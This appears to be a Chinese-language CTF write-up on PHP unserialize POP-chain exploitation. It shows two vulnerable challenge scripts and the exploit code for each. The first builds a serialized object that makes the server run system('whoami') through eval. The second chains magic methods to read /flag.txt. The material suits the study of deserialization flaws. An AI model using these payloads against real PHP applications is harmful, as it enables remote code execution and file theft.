题目:
一、Test1
//Qusetion
<?php
highlight_file(__FILE__);
class inDex{
var $test;
public function __construct(){
$this->test=new Normal();
}
public function __destruct(){
$this->test->action();
}
}
class Normal{
public function action(){
echo 'fuck you';
}
}
class evil{
var $test2;
public function action(){
eval($this->test2);
}
}
unserialize($_GET['test'])
?>
//Answer
<?php
class inDex{
var $test;
}
class evil{
var $test2;
}
$a=new evil();
$a->test2="system('whoami');";
$b=new inDex();
$b->test=new evil();
echo serialize($b);
?>
二、2021强网杯
<meta charset="utf-8">
<?php
highlight_file(__FILE__);
error_reporting(1);
class Start{
public $name='guest';
public $flag='syst3m("cat /flag.txt");';
public function __construct(){
echo "I think you need hint . Before this you need to see the source code";
}
public function _sayhello(){
echo $this->name;
// echo $info;
return 'ok';
}
public function __wakeup(){
echo "hi";
$this->_sayhello();
}
public function __get($cc){ //访问不存在的变量
echo "give you flag : ".$this->flag;
return ;
}
}
class Info{
private $phonenumber=123123;
public $promise='I do';
public function __construct(){
$this->promise='I will not !!!!';
return $this->promise;
}
public function __toString(){
return $this->file['filename']->ffiillee['ffiilleennaammee'];
}
}
class Room{
public $filename='/flag.txt';
public $sth_to_set;
public $a='';
public function __get($name){
$function = $this->a;
return $function();
}
public function Get_hint($file){
$hint=base64_encode(file_get_contents($file));
echo $hint;
return ;
}
public function __invoke(){
$content = $this->Get_hint($this->filename);
echo $content;
}
}
if(isset($_GET['hello'])){
unserialize($_GET['hello']);
}else{
$hi = new Start();
}
?> I think you need hint . Before this you need to see the source code
分析:
1class Start __wakeup被Start 反序列化所触发
2.class Strat _sayhello被class Start __wakeup触发
3.class Info __toString被class Start _sayhellow触发 跨类调用1
4.class Room __get被class Info __toString触发 跨类调用2
5.class Room __invoke 被class Room __get触发 invoke需要内部调用
6.class Room __get被class Room__invoke触发
7.class Room __invoke被class Room get_hint触发
两次调用对象方法且对象方法只能调用当前对象,所以exp的构造顺序为:
$aa=new Start(); $bb=new Info(); $cc=new Room(); 调用1:$aa->name=$bb; 调用2:$$bb->file['filename']=$cc; invoke调用:$cc->a = new Room();
pop:
<?php
class Start{
public $name='guest';
public $flag='syst3m("cat /flag.txt");';
}
class Info{
private $phonenumber=123123;
public $promise='I do';
}
class Room{
public $filename='/flag.txt';
public $sth_to_set;
public $a='';
}
$aa=new Start();
$bb=new Info();
$cc=new Room();
$cc->a = new Room();
$bb->file['filename'] = $cc;
$aa->name = $bb;
echo serialize($aa);//序列化的对象往往都是可以被利用的函数
?>